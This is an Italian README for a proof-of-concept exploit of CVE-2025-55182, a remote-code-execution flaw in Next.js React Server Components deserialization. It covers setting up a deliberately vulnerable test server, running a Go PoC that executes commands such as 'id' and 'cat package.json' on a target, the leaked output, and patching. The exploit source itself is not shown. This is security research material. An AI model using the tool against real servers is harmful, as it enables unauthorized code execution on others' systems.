
Proof-of-concept exploit per CVE-2025-55182, una vulnerabilità RCE in Next.js tramite deserializzazione non sicura nelle richieste RSC. Include uno script POC basato su Go e un server di test vulnerabile per ricerca e formazione sulla sicurezza.
⚠️ Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza e all'insegnamento. Non utilizzarlo per scopi illegali. ⚠️
CVE-2025-55182 è una grave vulnerabilità di esecuzione di codice remoto (RCE) nel framework Next.js. La vulnerabilità deriva da un problema di deserializzazione non sicura nella gestione delle richieste React Server Components (RSC) da parte di Next.js. Un attaccante può eseguire codice arbitrario sul server senza autorizzazione costruendo richieste HTTP dannose.
Versioni interessate:
Questo progetto fornisce un server di test Next.js vulnerabile test-server.
Assicurati di aver installato Node.js e npm.
cd test-server
npm install
npm run dev
Il server viene eseguito di default su http://localhost:3000.
Nota: se incontri un errore relativo al file di lock, prova a eseguire:
rm -f .next/dev/lock && npm run dev
Questo progetto fornisce uno script POC in Go poc.go.
Utilizzo:
go run poc.go [URL target] [comando da eseguire]
Esempi:
Eseguire il comando id (predefinito)
go run poc.go
oppure
go run poc.go http://localhost:3000 id
Visualizzare i file della directory corrente
go run poc.go http://localhost:3000 "ls -la"
Visualizzare il contenuto di un file
go run poc.go http://localhost:3000 "cat package.json"
Output previsto:
Sebbene il codice di stato HTTP restituisca 500, il risultato dell'esecuzione del comando sarà incluso nel campo digest della risposta.
1:E{"digest":"uid=502(hoosin) gid=20(staff) ...","name":"Error","message":"NEXT_REDIRECT",...}
Aggiorna Next.js a una versione sicura:
npm install next@latest react@latest react-dom@latest